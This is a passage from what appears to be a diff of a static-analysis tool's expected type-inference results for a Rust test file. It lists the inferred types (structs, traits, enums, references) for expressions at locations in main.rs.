main.rs:403:5:404:14 | struct S2 | +| main.rs:462:13:462:13 | y | Tr2 | main.rs:403:5:404:14 | struct S2 | +| main.rs:462:17:462:33 | MyThing {...} | | main.rs:391:5:394:5 | struct MyThing | +| main.rs:462:17:462:33 | MyThing {...} | | main.rs:410:5:421:5 | trait MyTrait2 | +| main.rs:462:17:462:33 | MyThing {...} | A | main.rs:403:5:404:14 | struct S2 | +| main.rs:462:17:462:33 | MyThing {...} | Tr2 | main.rs:403:5:404:14 | struct S2 | +| main.rs:462:30:462:31 | S2 | | main.rs:403:5:404:14 | struct S2 | +| main.rs:464:26:464:26 | x | | main.rs:391:5:394:5 | struct MyThing | +| main.rs:464:26:464:26 | x | | main.rs:410:5:421:5 | trait MyTrait2 | +| main.rs:464:26:464:26 | x | A | main.rs:401:5:402:14 | struct S1 | +| main.rs:464:26:464:26 | x | Tr2 | main.rs:401:5:402:14 | struct S1 | +| main.rs:464:26:464:31 | x.m2(...) | | main.rs:401:5:402:14 | struct S1 | +| main.rs:465:26:465:26 | y | | main.rs:391:5:394:5 | struct MyThing | +| main.rs:465:26:465:26 | y | | main.rs:410:5:421:5 | trait MyTrait2 | +| main.rs:465:26:465:26 | y | A | main.rs:403:5:404:14 | struct S2 | +| main.rs:465:26:465:26 | y | Tr2 | main.rs:403:5:404:14 | struct S2 | +| main.rs:465:26:465:31 | y.m2(...) | | main.rs:403:5:404:14 | struct S2 | +| main.rs:467:13:467:13 | x | | main.rs:396:5:399:5 | struct MyThing2 | +| main.rs:467:13:467:13 | x | | main.rs:423:5:434:5 | trait MyTrait3 | +| main.rs:467:13:467:13 | x | A | main.rs:401:5:402:14 | struct S1 | +| main.rs:467:13:467:13 | x | Tr3 | main.rs:401:5:402:14 | struct S1 | +| main.rs:467:17:467:34 | MyThing2 {...} | | main.rs:396:5:399:5 | struct MyThing2 | +| main.rs:467:17:467:34 | MyThing2 {...} | | main.rs:423:5:434:5 | trait MyTrait3 | +| main.rs:467:17:467:34 | MyThing2 {...} | A | main.rs:401:5:402:14 | struct S1 | +| main.rs:467:17:467:34 | MyThing2 {...} | Tr3 | main.rs:401:5:402:14 | struct S1 | +| main.rs:467:31:467:32 | S1 | | main.rs:401:5:402:14 | struct S1 | +| main.rs:468:13:468:13 | y | | main.rs:396:5:399:5 | struct MyThing2 | +| main.rs:468:13:468:13 | y | | main.rs:423:5:434:5 | trait MyTrait3 | +| main.rs:468:13:468:13 | y | A | main.rs:403:5:404:14 | struct S2 | +| main.rs:468:13:468:13 | y | Tr3 | main.rs:403:5:404:14 | struct S2 | +| main.rs:468:17:468:34 | MyThing2 {...} | | main.rs:396:5:399:5 | struct MyThing2 | +| main.rs:468:17:468:34 | MyThing2 {...} | | main.rs:423:5:434:5 | trait MyTrait3 | +| main.rs:468:17:468:34 | MyThing2 {...} | A | main.rs:403:5:404:14 | struct S2 | +| main.rs:468:17:468:34 | MyThing2 {...} | Tr3 | main.rs:403:5:404:14 | struct S2 | +| main.rs:468:31:468:32 | S2 | | main.rs:403:5:404:14 | struct S2 | +| main.rs:470:26:470:26 | x | | main.rs:396:5:399:5 | struct MyThing2 | +| main.rs:470:26:470:26 | x | | main.rs:423:5:434:5 | trait MyTrait3 | +| main.rs:470:26:470:26 | x | A | main.rs:401:5:402:14 | struct S1 | +| main.rs:470:26:470:26 | x | Tr3 | main.rs:401:5:402:14 | struct S1 | +| main.rs:470:26:470:31 | x.m3(...) | | main.rs:401:5:402:14 | struct S1 | +| main.rs:471:26:471:26 | y | | main.rs:396:5:399:5 | struct MyThing2 | +| main.rs:471:26:471:26 | y | | main.rs:423:5:434:5 | trait MyTrait3 | +| main.rs:471:26:471:26 | y | A | main.rs:403:5:404:14 | struct S2 | +| main.rs:471:26:471:26 | y | Tr3 | main.rs:403:5:404:14 | struct S2 | +| main.rs:471:26:471:31 | y.m3(...) | | main.rs:403:5:404:14 | struct S2 | +| main.rs:489:22:489:22 | x | | file://:0:0:0:0 | & | +| main.rs:489:22:489:22 | x | &T | main.rs:489:11:489:19 | T | +| main.rs:489:35:491:5 | { ... } | | file://:0:0:0:0 | & | +| main.rs:489:35:491:5 | { ... } | &T | main.rs:489:11:489:19 | T | +| main.rs:490:9:490:9 | x | | file://:0:0:0:0 | & | +| main.rs:490:9:490:9 | x | &T | main.rs:489:11:489:19 | T | +| main.rs:494:17:494:20 | SelfParam | | main.rs:479:5:480:14 | struct S1 | +| main.rs:494:29:496:9 | { ... } | | main.rs:482:5:483:14 | struct S2 | +| main.rs:495:13:495:14 | S2 | | main.rs:482:5:483:14 | struct S2 | +| main.rs:499:21:499:21 | x | | main.rs:499:13:499:14 | T1 | +| main.rs:502:5:504:5 | { ... } | | main.rs:499:17:499:18 | T2 | +| main.rs:503:9:503:9 | x | | main.rs:499:13:499:14 | T1 | +| main.rs:503:9:503:16 | x.into(...) | | main.rs:499:17:499:18 | T2 | +| main.rs:507:13:507:13 | x | | main.rs:479:5:480:14 | struct S1 | +| main.rs:507:17:507:18 | S1 | | main.rs:479:5:480:14 | struct S1 | +| main.rs:508:26:508:31 | id(...) | | file://:0:0:0:0 | & | +| main.rs:508:26:508:31 | id(...) | &T | main.rs:479:5:480:14 | struct S1 | +| main.rs:508:29:508:30 | &x | | file://:0:0:0:0 | & | +| main.rs:508:29:508:30 | &x | &T | main.rs:479:5:480:14 | struct S1 | +| main.rs:508:30:508:30 | x | | main.rs:479:5:480:14 | struct S1 | +| main.rs:510:13:510:13 | x | | main.rs:479:5:480:14 | struct S1 | +| main.rs:510:17:510:18 | S1 | | main.rs:479:5:480:14 | struct S1 | +| main.rs:511:26:511:37 | id::<...>(...) | | file://:0:0:0:0 | & | +| main.rs:511:26:511:37 | id::<...>(...) | &T | main.rs:479:5:480:14 | struct S1 | +| main.rs:511:35:511:36 | &x | | file://:0:0:0:0 | & | +| main.rs:511:35:511:36 | &x | &T | main.rs:479:5:480:14 | struct S1 | +| main.rs:511:36:511:36 | x | | main.rs:479:5:480:14 | struct S1 | +| main.rs:513:13:513:13 | x | | main.rs:479:5:480:14 | struct S1 | +| main.rs:513:17:513:18 | S1 | | main.rs:479:5:480:14 | struct S1 | +| main.rs:514:26:514:44 | id::<...>(...) | | file://:0:0:0:0 | & | +| main.rs:514:26:514:44 | id::<...>(...) | &T | main.rs:479:5:480:14 | struct S1 | +| main.rs:514:42:514:43 | &x | | file://:0:0:0:0 | & | +| main.rs:514:42:514:43 | &x | &T | main.rs:479:5:480:14 | struct S1 | +| main.rs:514:43:514:43 | x | | main.rs:479:5:480:14 | struct S1 | +| main.rs:516:13:516:13 | x | | main.rs:479:5:480:14 | struct S1 | +| main.rs:516:17:516:18 | S1 | | main.rs:479:5:480:14 | struct S1 | +| main.rs:517:9:517:25 | into::<...>(...) | | main.rs:482:5:483:14 | struct S2 | +| main.rs:517:24:517:24 | x | | main.rs:479:5:480:14 | struct S1 | +| main.rs:519:13:519:13 | x | | main.rs:479:5:480:14 | struct S1 | +| main.rs:519:17:519:18 | S1 | | main.rs:479:5:480:14 | struct S1 | +| main.rs:520:13:520:13 | y | | main.rs:482:5:483:14 | struct S2 | +| main.rs:520:21:520:27 | into(...) | | main.rs:482:5:483:14 | struct S2 | +| main.rs:520:26:520:26 | x | | main.rs:479:5:480:14 | struct S1 | +| main.rs:550:13:550:14 | p1 | | main.rs:525:5:531:5 | enum PairOption | +| main.rs:550:13:550:14 | p1 | Fst | main.rs:533:5:534:14 | struct S1 | +| main.rs:550:13:550:14 | p1 | Snd | main.rs:536:5:537:14 | struct S2 | +| main.rs:550:26:550:53 | ...::PairBoth(...) | | main.rs:525:5:531:5 | enum PairOption | +| main.rs:550:26:550:53 | ...::PairBoth(...) | Fst | main.rs:533:5:534:14 | struct S1 | +| main.rs:550:26:550:53 | ...::PairBoth(...) | Snd | main.rs:536:5:537:14 | struct S2 | +| main.rs:550:47:550:48 | S1 | | main.rs:533:5:534:14 | struct S1 | +| main.rs:550:51:550:52 | S2 | | main.rs:536:5:537:14 | struct S2 | +| main.rs:551:26:551:27 | p1 | | main.rs:525:5:531:5 | enum PairOption | +| main.rs:551:26:551:27 | p1 | Fst | main.rs:533:5:534:14 | struct S1 | +| main.rs:551:26:551:27 | p1 | Snd | main.rs:536:5:537:14 | struct S2 | +| main.rs:554:13:554:14 | p2 | | main.rs:525:5:531:5 | enum PairOption | +| main.rs:554:26:554:47 | ...::PairNone(...) | | main.rs:525:5:531:5 | enum PairOption | +| main.rs:555:26:555:27 | p2 | | main.rs:525:5:531:5 | enum PairOption | +| main.rs:558:13:558:14 | p3 | | main.rs:525:5:531:5 | enum PairOption | +| main.rs:558:13:558:14 | p3 | Snd | main.rs:539:5:540:14 | struct S3 | +| main.rs:558:34:558:56 | ...::PairSnd(...) | | main.rs:525:5:531:5 | enum PairOption | +| main.rs:558:34:558:56 | ...::PairSnd(...) | Snd | main.rs:539:5:540:14 | struct S3 | +| main.rs:558:54:558:55 | S3 | | main.rs:539:5:540:14 | struct S3 | +| main.rs:559:26:559:27 | p3 | | main.rs:525:5:531:5 | enum PairOption | +| main.rs:559:26:559:27 | p3 | Snd | main.rs:539:5:540:14 | struct S3 | +| main.rs:562:13:562:14 | p3 | | main.rs:525:5:531:5 | enum PairOption | +| main.rs:562:13:562:14 | p3 | Fst | main.rs:539:5:540:14 | struct S3 | +| main.rs:562:35:562:56 | ...::PairNone(...) | | main.rs:525:5:531:5 | enum PairOption | +| main.rs:562:35:562:56 | ...::PairNone(...) | Fst | main.rs:539:5:540:14 | struct S3 | +| main.rs:563:26:563:27 | p3 | | main.rs:525:5:531:5 | enum PairOption | +| main.rs:563:26:563:27 | p3 | Fst | main.rs:539:5:540:14 | struct S3 | +| main.rs:575:16:575:24 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:575:16:575:24 | SelfParam | &T | main.rs:574:5:580:5 | trait MyTrait | +| main.rs:575:16:575:24 | SelfParam | &T.S | main.rs:574:19:574:19 | S | +| main.rs:575:27:575:31 | value | | main.rs:574:19:574:19 | S | +| main.rs:577:21:577:29 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:577:21:577:29 | SelfParam | &T | main.rs:574:5:580:5 | trait MyTrait | +| main.rs:577:21:577:29 | SelfParam | &T.S | main.rs:574:19:574:19 | S | +| main.rs:577:32:577:36 | value | | main.rs:574:19:574:19 | S | +| main.rs:578:13:578:16 | self | | file://:0:0:0:0 | & | +| main.rs:578:13:578:16 | self | &T | main.rs:574:5:580:5 | trait MyTrait | +| main.rs:578:13:578:16 | self | &T.S | main.rs:574:19:574:19 | S | +| main.rs:578:22:578:26 | value | | main.rs:574:19:574:19 | S | +| main.rs:583:16:583:24 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:583:16:583:24 | SelfParam | &T | main.rs:568:5:572:5 | enum MyOption | +| main.rs:583:16:583:24 | SelfParam | &T.T | main.rs:582:10:582:10 | T | +| main.rs:583:27:583:31 | value | | main.rs:582:10:582:10 | T | +| main.rs:587:26:589:9 | { ... } | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:587:26:589:9 | { ... } | T | main.rs:586:10:586:10 | T | +| main.rs:588:13:588:30 | ...::MyNone(...) | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:588:13:588:30 | ...::MyNone(...) | T | main.rs:586:10:586:10 | T | +| main.rs:593:20:593:23 | SelfParam | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:593:20:593:23 | SelfParam | T | main.rs:568:5:572:5 | enum MyOption | +| main.rs:593:20:593:23 | SelfParam | T.T | main.rs:592:10:592:10 | T | +| main.rs:593:41:598:9 | { ... } | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:593:41:598:9 | { ... } | T | main.rs:592:10:592:10 | T | +| main.rs:594:13:597:13 | match self { ... } | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:594:13:597:13 | match self { ... } | T | main.rs:592:10:592:10 | T | +| main.rs:594:19:594:22 | self | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:594:19:594:22 | self | T | main.rs:568:5:572:5 | enum MyOption | +| main.rs:594:19:594:22 | self | T.T | main.rs:592:10:592:10 | T | +| main.rs:595:39:595:56 | ...::MyNone(...) | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:595:39:595:56 | ...::MyNone(...) | T | main.rs:592:10:592:10 | T | +| main.rs:596:34:596:34 | x | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:596:34:596:34 | x | T | main.rs:592:10:592:10 | T | +| main.rs:596:40:596:40 | x | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:596:40:596:40 | x | T | main.rs:592:10:592:10 | T | +| main.rs:605:13:605:14 | x1 | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:605:18:605:37 | ...::new(...) | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:606:26:606:27 | x1 | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:608:13:608:18 | mut x2 | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:608:13:608:18 | mut x2 | T | main.rs:601:5:602:13 | struct S | +| main.rs:608:22:608:36 | ...::new(...) | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:608:22:608:36 | ...::new(...) | T | main.rs:601:5:602:13 | struct S | +| main.rs:609:9:609:10 | x2 | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:609:9:609:10 | x2 | T | main.rs:601:5:602:13 | struct S | +| main.rs:609:16:609:16 | S | | main.rs:601:5:602:13 | struct S | +| main.rs:610:26:610:27 | x2 | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:610:26:610:27 | x2 | T | main.rs:601:5:602:13 | struct S | +| main.rs:612:13:612:18 | mut x3 | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:612:13:612:18 | mut x3 | | main.rs:574:5:580:5 | trait MyTrait | +| main.rs:612:13:612:18 | mut x3 | S | main.rs:601:5:602:13 | struct S | +| main.rs:612:22:612:36 | ...::new(...) | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:612:22:612:36 | ...::new(...) | | main.rs:574:5:580:5 | trait MyTrait | +| main.rs:612:22:612:36 | ...::new(...) | S | main.rs:601:5:602:13 | struct S | +| main.rs:613:9:613:10 | x3 | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:613:9:613:10 | x3 | | main.rs:574:5:580:5 | trait MyTrait | +| main.rs:613:9:613:10 | x3 | S | main.rs:601:5:602:13 | struct S | +| main.rs:613:21:613:21 | S | | main.rs:601:5:602:13 | struct S | +| main.rs:614:26:614:27 | x3 | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:614:26:614:27 | x3 | | main.rs:574:5:580:5 | trait MyTrait | +| main.rs:614:26:614:27 | x3 | S | main.rs:601:5:602:13 | struct S | +| main.rs:616:13:616:18 | mut x4 | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:616:13:616:18 | mut x4 | T | main.rs:601:5:602:13 | struct S | +| main.rs:616:22:616:36 | ...::new(...) | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:616:22:616:36 | ...::new(...) | T | main.rs:601:5:602:13 | struct S | +| main.rs:617:23:617:29 | &mut x4 | | file://:0:0:0:0 | & | +| main.rs:617:23:617:29 | &mut x4 | &T | main.rs:568:5:572:5 | enum MyOption | +| main.rs:617:23:617:29 | &mut x4 | &T.T | main.rs:601:5:602:13 | struct S | +| main.rs:617:28:617:29 | x4 | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:617:28:617:29 | x4 | T | main.rs:601:5:602:13 | struct S | +| main.rs:617:32:617:32 | S | | main.rs:601:5:602:13 | struct S | +| main.rs:618:26:618:27 | x4 | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:618:26:618:27 | x4 | T | main.rs:601:5:602:13 | struct S | +| main.rs:620:13:620:14 | x5 | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:620:13:620:14 | x5 | T | main.rs:568:5:572:5 | enum MyOption | +| main.rs:620:13:620:14 | x5 | T.T | main.rs:601:5:602:13 | struct S | +| main.rs:620:18:620:58 | ...::MySome(...) | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:620:18:620:58 | ...::MySome(...) | T | main.rs:568:5:572:5 | enum MyOption | +| main.rs:620:18:620:58 | ...::MySome(...) | T.T | main.rs:601:5:602:13 | struct S | +| main.rs:620:35:620:57 | ...::MyNone(...) | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:620:35:620:57 | ...::MyNone(...) | T | main.rs:601:5:602:13 | struct S | +| main.rs:621:26:621:27 | x5 | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:621:26:621:27 | x5 | T | main.rs:568:5:572:5 | enum MyOption | +| main.rs:621:26:621:27 | x5 | T.T | main.rs:601:5:602:13 | struct S | +| main.rs:623:13:623:14 | x6 | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:623:13:623:14 | x6 | T | main.rs:568:5:572:5 | enum MyOption | +| main.rs:623:13:623:14 | x6 | T.T | main.rs:601:5:602:13 | struct S | +| main.rs:623:18:623:58 | ...::MySome(...) | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:623:18:623:58 | ...::MySome(...) | T | main.rs:568:5:572:5 | enum MyOption | +| main.rs:623:18:623:58 | ...::MySome(...) | T.T | main.rs:601:5:602:13 | struct S | +| main.rs:623:35:623:57 | ...::MyNone(...) | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:623:35:623:57 | ...::MyNone(...) | T | main.rs:601:5:602:13 | struct S | +| main.rs:624:26:624:61 | ...::flatten(...) | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:624:26:624:61 | ...::flatten(...) | T | main.rs:601:5:602:13 | struct S | +| main.rs:624:59:624:60 | x6 | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:624:59:624:60 | x6 | T | main.rs:568:5:572:5 | enum MyOption | +| main.rs:624:59:624:60 | x6 | T.T | main.rs:601:5:602:13 | struct S | +| main.rs:626:13:626:19 | from_if | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:626:13:626:19 | from_if | T | main.rs:601:5:602:13 | struct S | +| main.rs:626:23:630:9 | if ... {...} else {...} | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:626:23:630:9 | if ... {...} else {...} | T | main.rs:601:5:602:13 | struct S | +| main.rs:626:36:628:9 | { ... } | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:626:36:628:9 | { ... } | T | main.rs:601:5:602:13 | struct S | +| main.rs:627:13:627:30 | ...::MyNone(...) | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:627:13:627:30 | ...::MyNone(...) | T | main.rs:601:5:602:13 | struct S | +| main.rs:628:16:630:9 | { ... } | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:628:16:630:9 | { ... } | T | main.rs:601:5:602:13 | struct S | +| main.rs:629:13:629:31 | ...::MySome(...) | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:629:13:629:31 | ...::MySome(...) | T | main.rs:601:5:602:13 | struct S | +| main.rs:629:30:629:30 | S | | main.rs:601:5:602:13 | struct S | +| main.rs:631:26:631:32 | from_if | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:631:26:631:32 | from_if | T | main.rs:601:5:602:13 | struct S | +| main.rs:633:13:633:22 | from_match | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:633:13:633:22 | from_match | T | main.rs:601:5:602:13 | struct S | +| main.rs:633:26:636:9 | match ... { ... } | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:633:26:636:9 | match ... { ... } | T | main.rs:601:5:602:13 | struct S | +| main.rs:634:21:634:38 | ...::MyNone(...) | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:634:21:634:38 | ...::MyNone(...) | T | main.rs:601:5:602:13 | struct S | +| main.rs:635:22:635:40 | ...::MySome(...) | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:635:22:635:40 | ...::MySome(...) | T | main.rs:601:5:602:13 | struct S | +| main.rs:635:39:635:39 | S | | main.rs:601:5:602:13 | struct S | +| main.rs:637:26:637:35 | from_match | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:637:26:637:35 | from_match | T | main.rs:601:5:602:13 | struct S | +| main.rs:639:13:639:21 | from_loop | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:639:13:639:21 | from_loop | T | main.rs:601:5:602:13 | struct S | +| main.rs:639:25:644:9 | loop { ... } | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:639:25:644:9 | loop { ... } | T | main.rs:601:5:602:13 | struct S | +| main.rs:641:23:641:40 | ...::MyNone(...) | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:641:23:641:40 | ...::MyNone(...) | T | main.rs:601:5:602:13 | struct S | +| main.rs:643:19:643:37 | ...::MySome(...) | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:643:19:643:37 | ...::MySome(...) | T | main.rs:601:5:602:13 | struct S | +| main.rs:643:36:643:36 | S | | main.rs:601:5:602:13 | struct S | +| main.rs:645:26:645:34 | from_loop | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:645:26:645:34 | from_loop | T | main.rs:601:5:602:13 | struct S | +| main.rs:658:15:658:18 | SelfParam | | main.rs:651:5:652:19 | struct S | +| main.rs:658:15:658:18 | SelfParam | T | main.rs:657:10:657:10 | T | +| main.rs:658:26:660:9 | { ... } | | main.rs:657:10:657:10 | T | +| main.rs:659:13:659:16 | self | | main.rs:651:5:652:19 | struct S | +| main.rs:659:13:659:16 | self | T | main.rs:657:10:657:10 | T | +| main.rs:659:13:659:18 | self.0 | | main.rs:657:10:657:10 | T | +| main.rs:662:15:662:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:662:15:662:19 | SelfParam | &T | main.rs:651:5:652:19 | struct S | +| main.rs:662:15:662:19 | SelfParam | &T.T | main.rs:657:10:657:10 | T | +| main.rs:662:28:664:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:662:28:664:9 | { ... } | &T | main.rs:657:10:657:10 | T | +| main.rs:663:13:663:19 | &... | | file://:0:0:0:0 | & | +| main.rs:663:13:663:19 | &... | &T | main.rs:657:10:657:10 | T | +| main.rs:663:14:663:17 | self | | file://:0:0:0:0 | & | +| main.rs:663:14:663:17 | self | &T | main.rs:651:5:652:19 | struct S | +| main.rs:663:14:663:17 | self | &T.T | main.rs:657:10:657:10 | T | +| main.rs:663:14:663:19 | self.0 | | main.rs:657:10:657:10 | T | +| main.rs:666:15:666:25 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:666:15:666:25 | SelfParam | &T | main.rs:651:5:652:19 | struct S | +| main.rs:666:15:666:25 | SelfParam | &T.T | main.rs:657:10:657:10 | T | +| main.rs:666:34:668:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:666:34:668:9 | { ... } | &T | main.rs:657:10:657:10 | T | +| main.rs:667:13:667:19 | &... | | file://:0:0:0:0 | & | +| main.rs:667:13:667:19 | &... | &T | main.rs:657:10:657:10 | T | +| main.rs:667:14:667:17 | self | | file://:0:0:0:0 | & | +| main.rs:667:14:667:17 | self | &T | main.rs:651:5:652:19 | struct S | +| main.rs:667:14:667:17 | self | &T.T | main.rs:657:10:657:10 | T | +| main.rs:667:14:667:19 | self.0 | | main.rs:657:10:657:10 | T | +| main.rs:672:13:672:14 | x1 | | main.rs:651:5:652:19 | struct S | +| main.rs:672:13:672:14 | x1 | T | main.rs:654:5:655:14 | struct S2 | +| main.rs:672:18:672:22 | S(...) | | main.rs:651:5:652:19 | struct S | +| main.rs:672:18:672:22 | S(...) | T | main.rs:654:5:655:14 | struct S2 | +| main.rs:672:20:672:21 | S2 | | main.rs:654:5:655:14 | struct S2 | +| main.rs:673:26:673:27 | x1 | | main.rs:651:5:652:19 | struct S | +| main.rs:673:26:673:27 | x1 | T | main.rs:654:5:655:14 | struct S2 | +| main.rs:673:26:673:32 | x1.m1(...) | | main.rs:654:5:655:14 | struct S2 | +| main.rs:675:13:675:14 | x2 | | main.rs:651:5:652:19 | struct S | +| main.rs:675:13:675:14 | x2 | T | main.rs:654:5:655:14 | struct S2 | +| main.rs:675:18:675:22 | S(...) | | main.rs:651:5:652:19 | struct S | +| main.rs:675:18:675:22 | S(...) | T | main.rs:654:5:655:14 | struct S2 | +| main.rs:675:20:675:21 | S2 | | main.rs:654:5:655:14 | struct S2 | +| main.rs:677:26:677:27 | x2 | | main.rs:651:5:652:19 | struct S | +| main.rs:677:26:677:27 | x2 | T | main.rs:654:5:655:14 | struct S2 | +| main.rs:677:26:677:32 | x2.m2(...) | | file://:0:0:0:0 | & | +| main.rs:677:26:677:32 | x2.m2(...) | &T | main.rs:654:5:655:14 | struct S2 | +| main.rs:678:26:678:27 | x2 | | main.rs:651:5:652:19 | struct S | +| main.rs:678:26:678:27 | x2 | T | main.rs:654:5:655:14 | struct S2 | +| main.rs:678:26:678:32 | x2.m3(...) | | file://:0:0:0:0 | & | +| main.rs:678:26:678:32 | x2.m3(...) | &T | main.rs:654:5:655:14 | struct S2 | +| main.rs:680:13:680:14 | x3 | | main.rs:651:5:652:19 | struct S | +| main.rs:680:13:680:14 | x3 | T | main.rs:654:5:655:14 | struct S2 | +| main.rs:680:18:680:22 | S(...) | | main.rs:651:5:652:19 | struct S | +| main.rs:680:18:680:22 | S(...) | T | main.rs:654:5:655:14 | struct S2 | +| main.rs:680:20:680:21 | S2 | | main.rs:654:5:655:14 | struct S2 | +| main.rs:682:26:682:41 | ...::m2(...) | | file://:0:0:0:0 | & | +| main.rs:682:26:682:41 | ...::m2(...) | &T | main.rs:654:5:655:14 | struct S2 | +| main.rs:682:38:682:40 | &x3 | | file://:0:0:0:0 | & | +| main.rs:682:38:682:40 | &x3 | &T | main.rs:651:5:652:19 | struct S | +| main.rs:682:38:682:40 | &x3 | &T.T | main.rs:654:5:655:14 | struct S2 | +| main.rs:682:39:682:40 | x3 | | main.rs:651:5:652:19 | struct S | +| main.rs:682:39:682:40 | x3 | T | main.rs:654:5:655:14 | struct S2 | +| main.rs:683:26:683:41 | ...::m3(...) | | file://:0:0:0:0 | & | +| main.rs:683:26:683:41 | ...::m3(...) | &T | main.rs:654:5:655:14 | struct S2 | +| main.rs:683:38:683:40 | &x3 | | file://:0:0:0:0 | & | +| main.rs:683:38:683:40 | &x3 | &T | main.rs:651:5:652:19 | struct S | +| main.rs:683:38:683:40 | &x3 | &T.T | main.rs:654:5:655:14 | struct S2 | +| main.rs:683:39:683:40 | x3 | | main.rs:651:5:652:19 | struct S | +| main.rs:683:39:683:40 | x3 | T | main.rs:654:5:655:14 | struct S2 | +| main.rs:685:13:685:14 | x4 | | file://:0:0:0:0 | & | +| main.rs:685:13:685:14 | x4 | &T | main.rs:651:5:652:19 | struct S | +| main.rs:685:13:685:14 | x4 | &T.T | main.rs:654:5:655:14 | struct S2 | +| main.rs:685:18:685:23 | &... | | file://:0:0:0:0 | & | +| main.rs:685:18:685:23 | &... | &T | main.rs:651:5:652:19 | struct S | +| main.rs:685:18:685:23 | &... | &T.T | main.rs:654:5:655:14 | struct S2 | +| main.rs:685:19:685:23 | S(...) | | main.rs:651:5:652:19 | struct S | +| main.rs:685:19:685:23 | S(...) | T | main.rs:654:5:655:14 | struct S2 | +| main.rs:685:21:685:22 | S2 | | main.rs:654:5:655:14 | struct S2 | +| main.rs:687:26:687:27 | x4 | | file://:0:0:0:0 | & | +| main.rs:687:26:687:27 | x4 | &T | main.rs:651:5:652:19 | struct S | +| main.rs:687:26:687:27 | x4 | &T.T | main.rs:654:5:655:14 | struct S2 | +| main.rs:687:26:687:32 | x4.m2(...) | | file://:0:0:0:0 | & | +| main.rs:687:26:687:32 | x4.m2(...) | &T | main.rs:654:5:655:14 | struct S2 | +| main.rs:688:26:688:27 | x4 | | file://:0:0:0:0 | & | +| main.rs:688:26:688:27 | x4 | &T | main.rs:651:5:652:19 | struct S | +| main.rs:688:26:688:27 | x4 | &T.T | main.rs:654:5:655:14 | struct S2 | +| main.rs:688:26:688:32 | x4.m3(...) | | file://:0:0:0:0 | & | +| main.rs:688:26:688:32 | x4.m3(...) | &T | main.rs:654:5:655:14 | struct S2 | +| main.rs:690:13:690:14 | x5 | | file://:0:0:0:0 | & | +| main.rs:690:13:690:14 | x5 | &T | main.rs:651:5:652:19 | struct S | +| main.rs:690:13:690:14 | x5 | &T.T | main.rs:654:5:655:14 | struct S2 | +| main.rs:690:18:690:23 | &... | | file://:0:0:0:0 | & | +| main.rs:690:18:690:23 | &... | &T | main.rs:651:5:652:19 | struct S | +| main.rs:690:18:690:23 | &... | &T.T | main.rs:654:5:655:14 | struct S2 | +| main.rs:690:19:690:23 | S(...) | | main.rs:651:5:652:19 | struct S | +| main.rs:690:19:690:23 | S(...) | T | main.rs:654:5:655:14 | struct S2 | +| main.rs:690:21:690:22 | S2 | | main.rs:654:5:655:14 | struct S2 | +| main.rs:692:26:692:27 | x5 | | file://:0:0:0:0 | & | +| main.rs:692:26:692:27 | x5 | &T | main.rs:651:5:652:19 | struct S | +| main.rs:692:26:692:27 | x5 | &T.T | main.rs:654:5:655:14 | struct S2 | +| main.rs:692:26:692:32 | x5.m1(...) | | main.rs:654:5:655:14 | struct S2 | +| main.rs:693:26:693:27 | x5 | | file://:0:0:0:0 | & | +| main.rs:693:26:693:27 | x5 | &T | main.rs:651:5:652:19 | struct S | +| main.rs:693:26:693:27 | x5 | &T.T | main.rs:654:5:655:14 | struct S2 | +| main.rs:693:26:693:29 | x5.0 | | main.rs:654:5:655:14 | struct S2 | +| main.rs:695:13:695:14 | x6 | | file://:0:0:0:0 | & | +| main.rs:695:13:695:14 | x6 | &T | main.rs:651:5:652:19 | struct S | +| main.rs:695:13:695:14 | x6 | &T.T | main.rs:654:5:655:14 | struct S2 | +| main.rs:695:18:695:23 | &... | | 